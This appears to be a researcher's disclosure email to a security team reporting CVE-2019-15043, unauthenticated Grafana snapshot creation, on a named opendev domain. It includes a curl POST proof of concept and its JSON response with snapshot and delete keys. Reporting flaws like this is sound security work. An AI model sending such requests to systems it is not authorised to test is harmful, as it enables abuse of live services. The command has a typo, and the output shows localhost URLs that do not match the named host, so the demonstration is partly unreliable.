<div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div>HEY SECURITY TEAM,</div><div><br></div><div>I'm Security Researcher</div><div><br></div>I have found a critical vulnerability at one of your domain that is cve-2019-15043<br>which can led to DDOS attack and can make system go down by grafana <span><span>snapshot</span></span> instance<br><br><div>Vuln url: <a href="https://grafana.opendev.org/api/snapshots">https://grafana.opendev.org/api/snapshots</a> <a href="https://grafana.quiknode.io/api/snapshots" target="_blank"><span></span></a></div><div><br></div><div>POC:</div><div><br></div>root@kali:/home/kali# curl -s XPOST <a href="https://grafana.opendev.org/api/snapshots">https://grafana.opendev.org/api/snapshots</a> -H "Accept: application/json" -H "Content-Type: application/json" -d '{"dashboard": {}}' | json_pp<br><br>{<br>   "deleteKey" : "6mYFALwQmmpImHeKS30XtFw8ogmoHaSm",<br>   "deleteUrl" : "<a href="http://localhost:3000/api/snapshots-delete/6mYFALwQmmpImHeKS30XtFw8ogmoHaSm">http://localhost:3000/api/snapshots-delete/6mYFALwQmmpImHeKS30XtFw8ogmoHaSm</a>",<br>   "key" : "91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO",<br>   "url" : "<a href="http://localhost:3000/dashboard/snapshot/91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO">http://localhost:3000/dashboard/snapshot/91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO</a>"<br>}</div><div dir="ltr"><br><div><div><div>for more reference - <a href="https://aaron-hoffmann.com/blog/cve-2019-15043/" rel="noreferrer" target="_blank">https://aaron-hoffmann.com/blog/cve-2019-15043/</a><br><br>Fix it to latest grafana instance<br><br>Best Regards,</div><div><br></div><div>Divya Singh - @Dgirlwhohacks</div></div></div></div></div></div></div>